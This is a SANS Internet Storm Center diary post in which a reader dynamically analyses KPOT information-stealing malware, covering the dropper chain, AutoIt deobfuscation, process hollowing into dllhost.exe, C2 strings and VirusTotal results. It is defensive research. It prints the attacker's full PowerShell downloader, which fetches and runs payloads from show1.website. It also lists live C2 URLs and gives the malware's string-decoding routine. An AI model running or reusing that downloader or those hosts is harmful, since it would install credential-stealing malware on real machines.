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lisc.sans.edu/diary/26010
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Reader Analysis: "Dynamic analysis technique to get decrypted KPOT Malware."

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by Didier Stevens (Version: 1)

0 comment(s)

Reader Vinnie shared his analysis of KPOT malware with us:

In a previous write up, I documented a PowerShell downloader (shown below) pushing KPOT malware. Since then, all of the files have been submitted to VirusTotal allowing for further analysis. This has also been recently documented by ISC Handler Didier Stevens (ISC Links below).

PowerShell Downloader:

```
powershell -e Import-Module BitsTransfer; Start-BitsTransfer -Source
http://show1.website/OerAS.dat,http://show1.website/HeyaL.dat,http://show1.website/iP
YOy.dat -Destination "$env:TEMP\r17mi.com","$env:TEMP\jkezt","$env:TEMP\iPYOy.com";
Set-Location -Path "$env:TEMP"; certutil -decode jkezt i8ek7; Start-Process r17mi
-ArgumentList i8ek7
```

ISC Links:

- https://isc.sans.edu/forums/diary/More+COVID19+Themed+Malware/25930/
- https://isc.sans.edu/forums/diary/KPOT+Deployed+via+AutoIt+Script/25934/

URLs from PowerShell Downloader:

hxxp://show1[.]website/OerAS.dat (Obfuscated Autolt script, Base64 encoded as a certificate) hxxp://show1[.]website/HeyaL.dat (Autolt Interpreter) – Legitimate hxxp://show1[.]website/iPYOy.dat (Encrypted KPOT Malware)

Excerpt from Base64 decoded Autolt script('i8ek7') showing obfuscation:

```
$pTjAKTRQS =
DllCall(Dllopen(GovUcjGgXxPeoI("109*103*116*112*103*110*53*52*48*102*110*110",2))
, GovUcjGgXxPeoI("110*103*116*106*114*107",6),
GovUcjGgXxPeoI("76*123*110*106*125*110*92*110*118*106*121*113*120*123*110*74",9),
GovUcjGgXxPeoI("114*118*116",2), Null, GovUcjGgXxPeoI("111*114*113*106",3), 1,
GovUcjGgXxPeoI("111*114*113*106",3), 1, GovUcjGgXxPeoI("123*124*122",8),
GovUcjGgXxPeoI("107*118*126*105*106*106*82*93*118*90*129*104*78*77*129",7))
ExitLoop
EndSwitch
WEnd
```

Decode function at the bottom of Autolt script:

```
Func GovUcjGgXxPeoI($string, $integer)
$return = ''
$split = StringSplit($string, '*', 2)
For $i = 0 To UBound($split) - 1
$return &= Chrw($split[$i] - $integer)
Next
Return $return
EndFunc
```

The string is split from '*' and then each encoded character is subtracted from the number after the comma(\$integer) before being converted from Unicode.


Decoded sample:

```
$pTjAKTRQS = DllCall(DllOpen(kernel32.dll), handle, CreateSemaphoreA, ptr,
Null, long, 1, long, 1, str, dowbccKVoSzaGFz)
ExitLoop
EndSwitch
WEnd
```

All files necessary in the same folder 'Temp' – Windows 7 Virtual Machine:

Downloads ▶ Temp				
library ▼ Share with ▼ New folder				
Name	Date modified	Туре	Size	
i8ek7	3/28/2020 1:30 PM	File	188 KB	
■ iPY0y	3/28/2020 1:29 PM	MS-DOS Applicati	92 KB	
💷 r17mi	3/28/2020 1:29 PM	MS-DOS Applicati	873 KB	

Utilizing PowerShell to initiate infection chain:



Process chain showing 'dllhost.exe' process hollowing:

CreateProcess: powershell.exe:2428 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7"

- [Child PID: 2452]

CreateProcess: r17mi.com:2452 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7 "

- [Child PID: 2064]

CreateProcess: r17mi.com:2064 > "%WinDir%\SysWOW64\dllhost.exe"

- [Child PID: 2244]

CreateProcess: dllhost.exe:2244 > "%WinDir%\system32\cmd.exe /c ping 127.0.0.1 && del %WinDir%\SysWOW64\dllhost.exe"

- [Child PID: 536]

CreateProcess: cmd.exe:536 > "ping 127.0.0.1"

"dllhost.exe" process dump via Task Manager:

dllhost.DMP 3/28/2020 5:26 PM DMP File 45,152 kg
--

String analysis via "strings" show command and control (C2) servers:

```
woot@toaster:~/Downloads# strings -a dllhost.DMP | grep -i http
winhttp.pdb
http://krt1.site
http://krt2.site
http://krt3.site
winhttp.dll
http://krt2.site/
```

Extract executables via "foremost":

```
root@toaster:~/Downloads# foremost -o ./foremost -i dllhost.DMP -t exe
Processing: dllhost.DMP
|*|
root@toaster:~/Downloads# cd foremost/exe/
root@toaster:~/Downloads/foremost/exe# ls -als
total 108
    4 drwxr-xr-- 2 root root    4096 Mar 28 19:44 .
    4 drwxr-xr-- 4 root root    4096 Mar 28 19:44 .
92 -rw-r-r-- 1 root root    93696 Mar 28 19:44 .
92 -rw-r--r-- 1 root root    7168 Mar 28 19:44 00001486.exe
8 -rw-r--r-- 1 root root    7168 Mar 28 19:44 00003830.exe
root@toaster:~/Downloads/foremost/exe# file 00001486.exe
00001486.exe: PE32 executable (GUI) Intel 80386, for MS Windows
root@toaster:~/Downloads/foremost/exe# sha256sum 00001486.exe
3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146 00001486.exe
```

The decrypted KPOT malware has the SHA256 Hash

"3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146" and VT score of 34/71.

https://www.virustotal.com/gui/file/3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146/detection

Sampled VirusTotal signatures:

Acronis	(!) Suspicious
AhnLab-V3	Trojan/Win32.Kpot.C4009735
ALYac	Trojan.Stealer.Kpot
SecureAge APEX	! Malicious
Avast	(!) Win32:Evo-gen [Susp]
AVG	(Win32:Evo-gen [Susp]
Avira (no cloud)	TR/Crypt.XPACK.Gen
BitDefenderTheta	Gen:NN.ZexaF.34104.fmW@aOYoyQc
CrowdStrike Falcon	(W) Win/malicious_confidence_80%

String analysis of KPOT malware via "FLOSS":

rootmtoaster:~/Downloads# ./floss ./foremost/exe/00001486.exe > ./KPOT_Strings.txt

Strings indicative of information stealers:



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Keywords: kpot malware

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